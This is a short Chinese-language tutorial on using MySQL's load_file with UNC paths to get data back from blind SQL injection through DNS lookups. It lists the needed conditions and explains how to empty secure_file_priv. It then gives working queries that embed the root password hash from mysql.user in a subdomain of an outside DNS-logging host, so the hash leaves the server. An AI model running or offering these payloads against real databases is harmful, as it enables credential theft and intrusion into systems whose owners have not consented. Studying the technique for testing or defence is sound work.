0x01 技術原理
這裡是利用load_file這個函式利用smb請求方式請求域名機器下的一個檔案,由於計算機對該域名不熟悉所以需要優先請求DNS,所以我們通過DNS日誌記錄中的內容來獲取回顯。解決了盲注回顯的問題,或者是時間注入判斷的問題。
熟悉MySQL的人都知道,這個利用有幾個要求或者說是限制條件
# 條件1
+ 1、由於基於SMB請求,需要在Windows環境下
# 條件2
+ 2、需要MySQL的配置支援,主要是這個配置需要為空
secure_file_priv
0x02 測試
0x02 - 01 簡單的load許可權檢視
show global variables like '%secure%';
這裡滿足要求,如果不滿足,可以在my.ini或者my.cnf等mysql服務的配置檔案中修改[mysqld]項,需要加上如下這行:
secure_file_priv =
0x02 - 02 load一個域名下的檔案試試看
select load_file('\\\\root.xxxxxx.ceye.io\\abc');
0x03 - 03 使用拼接函式,對我們想要獲取的資料進行拼接
select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')
0x02 - 04
select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));